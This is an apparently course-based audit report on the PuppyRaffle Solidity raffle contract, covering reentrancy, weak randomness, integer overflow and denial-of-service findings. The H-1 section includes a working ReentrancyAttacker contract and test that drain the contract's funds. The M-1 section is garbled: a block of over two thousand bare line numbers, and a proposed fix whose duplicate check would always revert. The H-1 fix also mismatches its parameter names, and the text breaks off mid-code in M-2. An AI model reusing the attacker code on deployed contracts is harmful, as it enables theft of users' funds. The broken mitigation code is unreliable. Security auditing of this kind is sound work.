



PuppyRaffle Audit Report

Version 0.1

Cyfrin.io

January 28, 2024

Protocol Audit Report

amaqkkg

January 28, 2024

Prepared by: amaqkkg

Lead Auditors:

- amaqkkg

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
 - [H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrant to drain raffle balance
 - [H-2] Weak randomness in `PuppppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the rarity of the winning puppy
 - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

- Medium
 - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants
 - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
 - [M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new raffle
- Low
 - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing player at index 0 incorrectly think they have not entered the raffle
- Gas
 - [G-1] Unchanged state variables should be declared constant or immutable
 - [G-2] Storage variable in a loop should be cached
- Informational
 - [I-1]: Solidity pragma should be specific, not wide
 - [I-2] Using an outdated solidity version is not recommended
 - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
 - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
 - [I-5] Use of “magic” number is discouraged
 - [I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The amaqkkg team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
1 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Part of cyfrin updraft security research audit course.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas Optimizations	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not have Checks, Effects, Interactions (CEI) and as a result, enables participant to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(
4             playerAddress == msg.sender,
5             "PuppyRaffle: Only the player can refund"
6         );
7         require(
8             playerAddress != address(0),
9             "PuppyRaffle: Player already refunded, or is not active"
10        );
11    @> payable(msg.sender).sendValue(entranceFee);
```

```
12 @>    players[playerIndex] = address(0);
13        emit RaffleRefunded(playerAddress);
14    }
```

A player who has entered the raffle can have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and again to claim another refund. They can continue this cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1    function testReentrancyRefund() public {
2        address[] memory players = new address[] (4);
3        players[0] = playerOne;
4        players[1] = playerTwo;
5        players[2] = playerThree;
6        players[3] = playerFour;
7        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10            puppyRaffle
11        );
12        address attackUser = makeAddr("attackUser");
13        vm.deal(attackUser, 1 ether);
14
15        uint256 startingAttackerContractBalance = address(
16            attackerContract
17        ).balance;
18        uint256 startingContractBalance = address(puppyRaffle).balance;
19
20        // attack
21        vm.prank(attackUser);
22        attackerContract.attack{value: entranceFee}();
23
24        console.log(
25            "Starting attacker contract balance: ",
```

```
25         startingAttackerContractBalance
26     );
27     console.log("Starting contract balance: ",
28                 startingContractBalance);
29
30     console.log(
31         "Ending attacker contract balance: ",
32         address(attackerContract).balance
33     );
34     console.log("Ending contract balance: ", address(puppyRaffle).
35                 balance);
36 }
```

And this contract as well:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if (address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         _stealMoney();
29     }
30
31     receive() external payable {
32         _stealMoney();
33     }
34 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function

update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1      function refund(uint256 playerId) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11 +         players[playerIndex] = address(0);
12 +         emit RaffleRefunded(playerAddress);
13         payable(msg.sender).sendValue(entranceFee);
14
15 -         players[playerIndex] = address(0);
16 -         emit RaffleRefunded(playerAddress);
17     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the rarity of the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together create a predictable number. A predictable number is not good for random number. Malicious user can try to affect the outcome of it by manipulating and calculating the outcome beforehand, then choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any users can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value because their address are being used to generated the winner.
3. Users can revert their `selectWinner` transaction if they do not like the winner or the resulting puppy.

Recommended Mitigation: Consider using cryptographically provable random number generator such as ChainLink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity prior to 0.8.0 integers were subject to integer overflows.

```
1 uint256 var = type(uint64).max
2 // 18446744073709551615
3 var = var + 1
4 // var will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` overflows, the `feeAddress` can not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We have 100 players enter the raffle
2. We conclude the raffle
3. Contract balance should have 20 ETH
4. `totalFees` should have 20 ETH too, but the actual will be 15.53 ETH :

```
1 totalFees = totalFees + uint64(fee);
2 // totalFees = 0 + uint64(20000000000000000000)
3 // totalFees will overflow
4 totalFees = 1553255926290448384; // 15.53 ETH
```

5. you will not able to withdraw, because `PuppyRaffle::withdrawFees` require contract balance equal to `totalFees`

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

attacker can also use `selfdestruct` to force send ETH to this contract, wheter making imbalance or match the `totalFees` and contract balance. But this is unlikely what the protocol intended to do. At some point, there will be too much contract balance and the `require` above would be hard to match, making it impossible to call `withdrawFees` successfully.

Proof of Code:

Code

Place the following test to `PuppyRaffleTest.t.sol` :

```
1     function testOverflowRaffleTotalFees() public {
2         // generating 100 players
3         console.log("fee collected in totalFees: ", puppyRaffle.
            totalFees());
4         address[] memory players = new address[](100);
5         for (uint256 i = 0; i < 100; ++i) {
6             players[i] = address(i);
7         }
8         puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
9         vm.warp(
10            puppyRaffle.affleStartTime() + puppyRaffle.affleDuration
                () + 1
11        );
12        puppyRaffle.selectWinner();
13
14        console.log(
15            "Contract balance after selectWinner() : ",
16            address(puppyRaffle).balance
17        );
18        console.log("fee collected in totalFees: ", puppyRaffle.
            totalFees());
19        assert(address(puppyRaffle).balance != puppyRaffle.totalFees())
            ;
20    }
```

Recommended Mitigation:

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity. However you would still have hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through `players` array to check for duplicates. However the more players there is, the longer the `PuppyRaffle::players` array is, making the checking duplicates longer and costly. This should makes players who entering the raffle

later pay a lot more gas cost than the one who join early. Every additional address in the `players` array, is an additional check the loop should have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later user from entering, and causing a rush at the start of a raffle to be the first one in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6,252,039 gas
- 2nd 100 players: ~18,068,126 gas

This cost 3x more expensive for the second 100 players.

POC

Place the following test into `PuppyRaffleTest.t.sol`:

```
1      function testDoSEnterRaffle() public {
2          vm.txGasPrice(1);
3          // first 100 players
4          address[] memory players = new address[](100);
5          for (uint256 i = 0; i < players.length; ++i) {
6              players[i] = address(i);
7          }
8          uint256 gasStart = gasleft();
9          puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
10         uint256 gasEnd = gasleft();
11
12         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
13         console.log(
14             "Gas cost for first 100 players entering raffle is ",
15             gasUsedFirst
16         );
17
18         // second 100 players
19         address[] memory playersTwo = new address[](100);
20         for (uint256 i = 0; i < playersTwo.length; ++i) {
21             playersTwo[i] = address(i + 100);
22         }
23         gasStart = gasleft();
24         puppyRaffle.enterRaffle{value: entranceFee * 100}(playersTwo);
25         gasEnd = gasleft();
26
27         uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
```

```
28     console.log(  
29         "Gas cost for second 100 players entering raffle is ",  
30         gasUsedSecond  
31     );  
32  
33     assert(gasUsedFirst < gasUsedSecond);  
34 }
```

Recommended Mitigation: There are few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so duplicate checks doesn't prevent the same person from entering multiple times.
2. Consider using a mapping to check duplicates. This would allow constant time lookup of whether a user has already entered. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle id.

Code

```
1  +   mapping(address => uint256) public addressToRaffleId;  
2  +   uint256 public raffleId = 0;  
3  
4  
5  
6   function enterRaffle(address[] memory newPlayers) public  
7       payable {  
8       require(msg.value == entranceFee * newPlayers.length, "  
9           PuppyRaffle: Must send enough to enter raffle");  
10      for (uint256 i = 0; i < newPlayers.length; i++) {  
11          players.push(newPlayers[i]);  
12          addressToRaffleId[newPlayers[i]] = raffleId;  
13      }  
14      // Check for duplicates  
15      // Check for duplicates only from the new players  
16      for (uint256 i = 0; i < newPlayers.length; i++) {  
17          require(addressToRaffleId[newPlayers[i]] != raffleId,  
18              "PuppyRaffle: Duplicate player");  
19      }  
20      for (uint256 i = 0; i < players.length; i++) {  
21          for (uint256 j = i + 1; j < players.length; j++) {  
22              require(players[i] != players[j], "PuppyRaffle:  
23              Duplicate player");  
24          }  
25      }  
26      emit RaffleEnter(newPlayers);  
27  }  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59  
60  
61  
62  
63  
64  
65  
66  
67  
68  
69  
70  
71  
72  
73  
74  
75  
76  
77  
78  
79  
80  
81  
82  
83  
84  
85  
86  
87  
88  
89  
90  
91  
92  
93  
94  
95  
96  
97  
98  
99  
100  
101  
102  
103  
104  
105  
106  
107  
108  
109  
110  
111  
112  
113  
114  
115  
116  
117  
118  
119  
120  
121  
122  
123  
124  
125  
126  
127  
128  
129  
130  
131  
132  
133  
134  
135  
136  
137  
138  
139  
140  
141  
142  
143  
144  
145  
146  
147  
148  
149  
150  
151  
152  
153  
154  
155  
156  
157  
158  
159  
160  
161  
162  
163  
164  
165  
166  
167  
168  
169  
170  
171  
172  
173  
174  
175  
176  
177  
178  
179  
180  
181  
182  
183  
184  
185  
186  
187  
188  
189  
190  
191  
192  
193  
194  
195  
196  
197  
198  
199  
200  
201  
202  
203  
204  
205  
206  
207  
208  
209  
210  
211  
212  
213  
214  
215  
216  
217  
218  
219  
220  
221  
222  
223  
224  
225  
226  
227  
228  
229  
230  
231  
232  
233  
234  
235  
236  
237  
238  
239  
240  
241  
242  
243  
244  
245  
246  
247  
248  
249  
250  
251  
252  
253  
254  
255  
256  
257  
258  
259  
260  
261  
262  
263  
264  
265  
266  
267  
268  
269  
270  
271  
272  
273  
274  
275  
276  
277  
278  
279  
280  
281  
282  
283  
284  
285  
286  
287  
288  
289  
290  
291  
292  
293  
294  
295  
296  
297  
298  
299  
300  
301  
302  
303  
304  
305  
306  
307  
308  
309  
310  
311  
312  
313  
314  
315  
316  
317  
318  
319  
320  
321  
322  
323  
324  
325  
326  
327  
328  
329  
330  
331  
332  
333  
334  
335  
336  
337  
338  
339  
340  
341  
342  
343  
344  
345  
346  
347  
348  
349  
350  
351  
352  
353  
354  
355  
356  
357  
358  
359  
360  
361  
362  
363  
364  
365  
366  
367  
368  
369  
370  
371  
372  
373  
374  
375  
376  
377  
378  
379  
380  
381  
382  
383  
384  
385  
386  
387  
388  
389  
390  
391  
392  
393  
394  
395  
396  
397  
398  
399  
400  
401  
402  
403  
404  
405  
406  
407  
408  
409  
410  
411  
412  
413  
414  
415  
416  
417  
418  
419  
420  
421  
422  
423  
424  
425  
426  
427  
428  
429  
430  
431  
432  
433  
434  
435  
436  
437  
438  
439  
440  
441  
442  
443  
444  
445  
446  
447  
448  
449  
450  
451  
452  
453  
454  
455  
456  
457  
458  
459  
460  
461  
462  
463  
464  
465  
466  
467  
468  
469  
470  
471  
472  
473  
474  
475  
476  
477  
478  
479  
480  
481  
482  
483  
484  
485  
486  
487  
488  
489  
490  
491  
492  
493  
494  
495  
496  
497  
498  
499  
500  
501  
502  
503  
504  
505  
506  
507  
508  
509  
510  
511  
512  
513  
514  
515  
516  
517  
518  
519  
520  
521  
522  
523  
524  
525  
526  
527  
528  
529  
530  
531  
532  
533  
534  
535  
536  
537  
538  
539  
540  
541  
542  
543  
544  
545  
546  
547  
548  
549  
550  
551  
552  
553  
554  
555  
556  
557  
558  
559  
560  
561  
562  
563  
564  
565  
566  
567  
568  
569  
570  
571  
572  
573  
574  
575  
576  
577  
578  
579  
580  
581  
582  
583  
584  
585  
586  
587  
588  
589  
590  
591  
592  
593  
594  
595  
596  
597  
598  
599  
600  
601  
602  
603  
604  
605  
606  
607  
608  
609  
610  
611  
612  
613  
614  
615  
616  
617  
618  
619  
620  
621  
622  
623  
624  
625  
626  
627  
628  
629  
630  
631  
632  
633  
634  
635  
636  
637  
638  
639  
640  
641  
642  
643  
644  
645  
646  
647  
648  
649  
650  
651  
652  
653  
654  
655  
656  
657  
658  
659  
660  
661  
662  
663  
664  
665  
666  
667  
668  
669  
670  
671  
672  
673  
674  
675  
676  
677  
678  
679  
680  
681  
682  
683  
684  
685  
686  
687  
688  
689  
690  
691  
692  
693  
694  
695  
696  
697  
698  
699  
700  
701  
702  
703  
704  
705  
706  
707  
708  
709  
710  
711  
712  
713  
714  
715  
716  
717  
718  
719  
720  
721  
722  
723  
724  
725  
726  
727  
728  
729  
730  
731  
732  
733  
734  
735  
736  
737  
738  
739  
740  
741  
742  
743  
744  
745  
746  
747  
748  
749  
750  
751  
752  
753  
754  
755  
756  
757  
758  
759  
760  
761  
762  
763  
764  
765  
766  
767  
768  
769  
770  
771  
772  
773  
774  
775  
776  
777  
778  
779  
780  
781  
782  
783  
784  
785  
786  
787  
788  
789  
790  
791  
792  
793  
794  
795  
796  
797  
798  
799  
800  
801  
802  
803  
804  
805  
806  
807  
808  
809  
810  
811  
812  
813  
814  
815  
816  
817  
818  
819  
820  
821  
822  
823  
824  
825  
826  
827  
828  
829  
830  
831  
832  
833  
834  
835  
836  
837  
838  
839  
840  
841  
842  
843  
844  
845  
846  
847  
848  
849  
850  
851  
852  
853  
854  
855  
856  
857  
858  
859  
860  
861  
862  
863  
864  
865  
866  
867  
868  
869  
870  
871  
872  
873  
874  
875  
876  
877  
878  
879  
880  
881  
882  
883  
884  
885  
886  
887  
888  
889  
890  
891  
892  
893  
894  
895  
896  
897  
898  
899  
900  
901  
902  
903  
904  
905  
906  
907  
908  
909  
910  
911  
912  
913  
914  
915  
916  
917  
918  
919  
920  
921  
922  
923  
924  
925  
926  
927  
928  
929  
930  
931  
932  
933  
934  
935  
936  
937  
938  
939  
940  
941  
942  
943  
944  
945  
946  
947  
948  
949  
950  
951  
952  
953  
954  
955  
956  
957  
958  
959  
960  
961  
962  
963  
964  
965  
966  
967  
968  
969  
970  
971  
972  
973  
974  
975  
976  
977  
978  
979  
980  
981  
982  
983  
984  
985  
986  
987  
988  
989  
990  
991  
992  
993  
994  
995  
996  
997  
998  
999  
1000  
1001  
1002  
1003  
1004  
1005  
1006  
1007  
1008  
1009  
1010  
1011  
1012  
1013  
1014  
1015  
1016  
1017  
1018  
1019  
1020  
1021  
1022  
1023  
1024  
1025  
1026  
1027  
1028  
1029  
1030  
1031  
1032  
1033  
1034  
1035  
1036  
1037  
1038  
1039  
1040  
1041  
1042  
1043  
1044  
1045  
1046  
1047  
1048  
1049  
1050  
1051  
1052  
1053  
1054  
1055  
1056  
1057  
1058  
1059  
1060  
1061  
1062  
1063  
1064  
1065  
1066  
1067  
1068  
1069  
1070  
1071  
1072  
1073  
1074  
1075  
1076  
1077  
1078  
1079  
1080  
1081  
1082  
1083  
1084  
1085  
1086  
1087  
1088  
1089  
1090  
1091  
1092  
1093  
1094  
1095  
1096  
1097  
1098  
1099  
1100  
1101  
1102  
1103  
1104  
1105  
1106  
1107  
1108  
1109  
1110  
1111  
1112  
1113  
1114  
1115  
1116  
1117  
1118  
1119  
1120  
1121  
1122  
1123  
1124  
1125  
1126  
1127  
1128  
1129  
1130  
1131  
1132  
1133  
1134  
1135  
1136  
1137  
1138  
1139  
1140  
1141  
1142  
1143  
1144  
1145  
1146  
1147  
1148  
1149  
1150  
1151  
1152  
1153  
1154  
1155  
1156  
1157  
1158  
1159  
1160  
1161  
1162  
1163  
1164  
1165  
1166  
1167  
1168  
1169  
1170  
1171  
1172  
1173  
1174  
1175  
1176  
1177  
1178  
1179  
1180  
1181  
1182  
1183  
1184  
1185  
1186  
1187  
1188  
1189  
1190  
1191  
1192  
1193  
1194  
1195  
1196  
1197  
1198  
1199  
1200  
1201  
1202  
1203  
1204  
1205  
1206  
1207  
1208  
1209  
1210  
1211  
1212  
1213  
1214  
1215  
1216  
1217  
1218  
1219  
1220  
1221  
1222  
1223  
1224  
1225  
1226  
1227  
1228  
1229  
1230  
1231  
1232  
1233  
1234  
1235  
1236  
1237  
1238  
1239  
1240  
1241  
1242  
1243  
1244  
1245  
1246  
1247  
1248  
1249  
1250  
1251  
1252  
1253  
1254  
1255  
1256  
1257  
1258  
1259  
1260  
1261  
1262  
1263  
1264  
1265  
1266  
1267  
1268  
1269  
1270  
1271  
1272  
1273  
1274  
1275  
1276  
1277  
1278  
1279  
1280  
1281  
1282  
1283  
1284  
1285  
1286  
1287  
1288  
1289  
1290  
1291  
1292  
1293  
1294  
1295  
1296  
1297  
1298  
1299  
1300  
1301  
1302  
1303  
1304  
1305  
1306  
1307  
1308  
1309  
1310  
1311  
1312  
1313  
1314  
1315  
1316  
1317  
1318  
1319  
1320  
1321  
1322  
1323  
1324  
1325  
1326  
1327  
1328  
1329  
1330  
1331  
1332  
1333  
1334  
1335  
1336  
1337  
1338  
1339  
1340  
1341  
1342  
1343  
1344  
1345  
1346  
1347  
1348  
1349  
1350  
1351  
1352  
1353  
1354  
1355  
1356  
1357  
1358  
1359  
1360  
1361  
1362  
1363  
1364  
1365  
1366  
1367  
1368  
1369  
1370  
1371  
1372  
1373  
1374  
1375  
1376  
1377  
1378  
1379  
1380  
1381  
1382  
1383  
1384  
1385  
1386  
1387  
1388  
1389  
1390  
1391  
1392  
1393  
1394  
1395  
1396  
1397  
1398  
1399  
1400  
1401  
1402  
1403  
1404  
1405  
1406  
1407  
1408  
1409  
1410  
1411  
1412  
1413  
1414  
1415  
1416  
1417  
1418  
1419  
1420  
1421  
1422  
1423  
1424  
1425  
1426  
1427  
1428  
1429  
1430  
1431  
1432  
1433  
1434  
1435  
1436  
1437  
1438  
1439  
1440  
1441  
1442  
1443  
1444  
1445  
1446  
1447  
1448  
1449  
1450  
1451  
1452  
1453  
1454  
1455  
1456  
1457  
1458  
1459  
1460  
1461  
1462  
1463  
1464  
1465  
1466  
1467  
1468  
1469  
1470  
1471  
1472  
1473  
1474  
1475  
1476  
1477  
1478  
1479  
1480  
1481  
1482  
1483  
1484  
1485  
1486  
1487  
1488  
1489  
1490  
1491  
1492  
1493  
1494  
1495  
1496  
1497  
1498  
1499  
1500  
1501  
1502  
1503  
1504  
1505  
1506  
1507  
1508  
1509  
1510  
1511  
1512  
1513  
1514  
1515  
1516  
1517  
1518  
1519  
1520  
1521  
1522  
1523  
1524  
1525  
1526  
1527  
1528  
1529  
1530  
1531  
1532  
1533  
1534  
1535  
1536  
1537  
1538  
1539  
1540  
1541  
1542  
1543  
1544  
1545  
1546  
1547  
1548  
1549  
1550  
1551  
1552  
1553  
1554  
1555  
1556  
1557  
1558  
1559  
1560  
1561  
1562  
1563  
1564  
1565  
1566  
1567  
1568  
1569  
1570  
1571  
1572  
1573  
1574  
1575  
1576  
1577  
1578  
1579  
1580  
1581  
1582  
1583  
1584  
1585  
1586  
1587  
1588  
1589  
1590  
1591  
1592  
1593  
1594  
1595  
1596  
1597  
1598  
1599  
1600  
1601  
1602  
1603  
1604  
1605  
1606  
1607  
1608  
1609  
1610  
1611  
1612  
1613  
1614  
1615  
1616  
1617  
1618  
1619  
1620  
1621  
1622  
1623  
1624  
1625  
1626  
1627  
1628  
1629  
1630  
1631  
1632  
1633  
1634  
1635  
1636  
1637  
1638  
1639  
1640  
1641  
1642  
1643  
1644  
1645  
1646  
1647  
1648  
1649  
1650  
1651  
1652  
1653  
1654  
1655  
1656  
1657  
1658  
1659  
1660  
1661  
1662  
1663  
1664  
1665  
1666  
1667  
1668  
1669  
1670  
1671  
1672  
1673  
1674  
1675  
1676  
1677  
1678  
1679  
1680  
1681  
1682  
1683  
1684  
1685  
1686  
1687  
1688  
1689  
1690  
1691  
1692  
1693  
1694  
1695  
1696  
1697  
1698  
1699  
1700  
1701  
1702  
1703  
1704  
1705  
1706  
1707  
1708  
1709  
1710  
1711  
1712  
1713  
1714  
1715  
1716  
1717  
1718  
1719  
1720  
1721  
1722  
1723  
1724  
1725  
1726  
1727  
1728  
1729  
1730  
1731  
1732  
1733  
1734  
1735  
1736  
1737  
1738  
1739  
1740  
1741  
1742  
1743  
1744  
1745  
1746  
1747  
1748  
1749  
1750  
1751  
1752  
1753  
1754  
1755  
1756  
1757  
1758  
1759  
1760  
1761  
1762  
1763  
1764  
1765  
1766  
1767  
1768  
1769  
1770  
1771  
1772  
1773  
1774  
1775  
1776  
1777  
1778  
1779  
1780  
1781  
1782  
1783  
1784  
1785  
1786  
1787  
1788  
1789  
1790  
1791  
1792  
1793  
1794  
1795  
1796  
1797  
1798  
1799  
1800  
1801  
1802  
1803  
1804  
1805  
1806  
1807  
1808  
1809  
1810  
1811  
1812  
1813  
1814  
1815  
1816  
1817  
1818  
1819  
1820  
1821  
1822  
1823  
1824  
1825  
1826  
1827  
1828  
1829  
1830  
1831  
1832  
1833  
1834  
1835  
1836  
1837  
1838  
1839  
1840  
1841  
1842  
1843  
1844  
1845  
1846  
1847  
1848  
1849  
1850  
1851  
1852  
1853  
1854  
1855  
1856  
1857  
1858  
1859  
1860  
1861  
1862  
1863  
1864  
1865  
1866  
1867  
1868  
1869  
1870  
1871  
1872  
1873  
1874  
1875  
1876  
1877  
1878  
1879  
1880  
1881  
1882  
1883  
1884  
1885  
1886  
1887  
1888  
1889  
1890  
1891  
1892  
1893  
1894  
1895  
1896  
1897  
1898  
1899  
1900  
1901  
1902  
1903  
1904  
1905  
1906  
1907  
1908  
1909  
1910  
1911  
1912  
1913  
1914  
1915  
1916  
1917  
1918  
1919  
1920  
1921  
1922  
1923  
1924  
1925  
1926  
1927  
1928  
1929  
1930  
1931  
1932  
1933  
1934  
1935  
1936  
1937  
1938  
1939  
1940  
1941  
1942  
1943  
1944  
1945  
1946  
1947  
1948  
1949  
1950  
1951  
1952  
1953  
1954  
1955  
1956  
1957  
1958  
1959  
1960  
1961  
1962  
1963  
1964  
1965  
1966  
1967  
1968  
1969  
1970  
1971  
1972  
1973  
1974  
1975  
1976  
1977  
1978  
1979  
1980  
1981  
1982  
1983  
1984  
1985  
1986  
1987  
1988  
1989  
1990  
1991  
1992  
1993  
1994  
1995  
1996  
1997  
1998  
1999  
2000  
2001  
2002  
2003  
2004  
2005  
2006  
2007  
2008  
2009  
2010  
2011  
2012  
2013  
2014  
2015  
2016  
2017  
2018  
2019  
2020  
2021  
2022  
2023  
2024  
2025  
2026  
2027  
2028  
2029  
2030  
2031  
2032  
2033  
2034  
2035  
2036  
2037  
2038  
2039  
2040  
2041  
2042  
2043  
2044  
2045  
2046  
2047  
2048  
2049  
2050  
2051  
2052  
2053  
2054  
2055  
2056  
2057  
2058  
2059  
2060  
2061  
2062  
2063  
2064  
2065  
2066  
2067  
2068  
2069  
2070  
2071  
2072  
2073  
2074  
2075  
2076  
2077  
2078  
2079  
2080  
2081  
2082  
2083  
2084  
2085  
2086  
2087  
2088  
2089  
2090  
2091  
2092  
2093  
2094  
2095  
2096  
2097  
2098  
2099  
2100  
2101  
2102  
2103  
2104  
2105  
2106  
2107  
2108  
2109  
2110  
2111  
2112  
2113  
2114  
2115  
2116  
2117  
2118  
2119  
2120  
2121  
2122  
2123  
2124  
2125  
2126  
2127  
2128  
2129  
2130  
2131  
2132  
2133  
2134  

```

```
29 +         raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime +
            raffleDuration, "PuppyRaffle: Raffle not over");
```

3. Using OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
           );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9 @>      totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
